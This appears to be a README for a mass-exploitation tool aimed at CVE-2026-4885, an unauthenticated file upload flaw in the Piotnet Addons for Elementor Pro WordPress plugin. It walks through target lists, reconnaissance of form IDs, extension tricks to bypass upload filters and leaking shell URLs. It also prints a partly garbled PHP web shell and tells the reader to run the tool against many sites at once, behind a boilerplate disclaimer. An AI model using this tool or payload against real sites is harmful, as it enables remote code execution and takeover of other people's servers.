## https://sploitus.com/exploit?id=4E8D6B62-3ADF-5D83-889E-739A0E3DD7CC
# CVE-2026-4885 – Piotnet Addons for Elementor Pro Mass Exploit
Unauthenticated arbitrary file upload leading to Remote Code Execution (RCE) in **Piotnet Addons for Elementor Pro** ≤ 7.1.70.
This tool is designed for **mass exploitation** – feed it a list of targets, and it will automatically:
- Detect the plugin version (or assume vulnerable if assets are found)
- Perform advanced reconnaissance to extract `post_id`, `form_id`, and the correct upload field name
- Try multiple PHP extensions (`.phtml`, `.php3`, `.php4`, `.phps`, `.pht`, `.php2`) to bypass weak filters
- Upload a **GIF89a‑header PHP shell** (built‑in, no external file needed)
- Leak the uploaded shell URL via `pafe_export_database`
- Verify shell execution (looks for `Logic_Internet` string) and save the URL to `shells.txt`
> **⚠️ Disclaimer**
> This tool is for educational and authorized security testing only.
> Unauthorized use against systems you do not own is illegal.
>
> More Disclaimer You can see the disclaimer on the cover of Jenderal92. You can check it [HERE !!!](https://github.com/Jenderal92/)
---
## Features
- **Python 2.7** compatible (also works with Python 3 if you adjust print/input)
- **Multi‑threaded** – scan and exploit up to 20 targets simultaneously
- **Smart form detection** – parses Piotnet‑specific HTML attributes (`data-pafe-form-builder-field-name`, `data-elementor-id`, etc.)
- **No external shell file** – the PHP payload is embedded in the script
- **Automatic URL scheme** – adds `https://` if missing
- **Extensive path list** – includes 22 common form URLs (`/contact`, `/apply`, `/quote`, `/book-appointment`, …)
- **Leak pattern** – matches both `wp-content/uploads/piotnet-addons-for-elementor/` and direct root paths
---
## Requirements
- Python 2.7 (or Python 3 with minor changes)
- `requests` library
```bash
pip install requests
```
---
Installation
```bash
git clone https://github.com/Jenderal92/CVE-2026-4885.git
cd CVE-2026-4885
```
---
Usage
1. Prepare a target file
Create a file named targets.txt (or any name) with one URL per line:
```
https://example1.com
example2.com
http://vulnerable-site.org
```
2. Run the exploit
```bash
python2 CVE-2026-4885.py targets.txt
```
The script will:
· Show progress for each target
· Save successful shell URLs to shells.txt
Example output
```
[*] Loaded built-in shell (598 bytes)
[*] scanning 25 pages...
[+] found form at https://target.com/contact | post_id=13 form_id=fa2c60e field=file
[*] post_id=13 form_id=fa2c60e field=file
[*] trying .phtml
[+] uploaded .phtml
[+] shell URL: https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
[+] SHELL UPLOADED -> https://target.com/wp-content/uploads/piotnet-addons-for-elementor/xxx-6a11e162a6099.phtml
```
Command line options (customizable in script)
Variable Description Default
TIMEOUT HTTP request timeout 10 seconds
MAX_THREADS Number of concurrent threads 20
OUTPUT_FILE Where to save successful shell URLs shells.txt
EXT_LIST File extensions to try .phtml, .php3, .php4, .phps, .pht, .php2
You can change these by editing the top of the script.
---
Shell Payload
The built‑in shell is:
```php
GIF89a;
'.'Uname:'.php_uname().''.$cwd = getcwd();
Echo ' '.'';
if (!empty ($_FILES['uploads'])) {
move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
Echo "alert('upload Done');Uploaded !!!name : ".$_FILES['uploads']['name']."size : ".$_FILES['uploads']['size']."type : ".$_FILES['uploads']['type'];
}
?>
```
· Displays server info, current working directory, and a file upload form.
· Can be replaced with any other PHP code (just change SHELL_CODE in the script).
---
How It Works
1. Version detection
· Searches homepage for ?ver= in plugin assets.
· Falls back to checking existence of known CSS/JS files.
2. Reconnaissance
· Crawls common form pages and all internal links found on the homepage.
· Extracts post_id, form_id, and the correct file upload field name from Piotnet‑specific HTML attributes.
3. Upload
· Sends a multipart POST request to wp-admin/admin-ajax.php?action=pafe_ajax_form_builder.
· Uses a JSON payload that mimics the plugin’s upload mechanism.
· Tries all extensions in EXT_LIST until one succeeds.
4. Leak
· Requests pafe_export_database which returns a CSV containing the uploaded file’s full URL.
· Parses the URL using a regex pattern that matches xxx-{random}.ext.
5. Verification
· Visits the leaked URL.
· Checks for the presence of the Logic_Internet string.
· Saves the URL to shells.txt on success.
---
Troubleshooting
UnicodeEncodeError on Windows
The script already includes a safe_unicode() function that handles non‑ASCII characters. If you still see errors, ensure your terminal supports UTF‑8:
```bash
chcp 65001
```
No form found / All extensions fail
· The target may be patched or not using Piotnet Addons.
· Try increasing TIMEOUT or MAX_THREADS.
· Manually verify that the plugin is actually installed.
Leak fails but upload succeeded
· The pafe_export_database endpoint might be disabled or protected.
· Try accessing /wp-admin/admin-ajax.php?action=pafe_export_database manually in a browser to see if it’s accessible.
---
Legal & Ethical Use
· Only use this tool on systems you have written permission to test.
· The author is not responsible for any misuse or damage caused.
· Respect all applicable laws.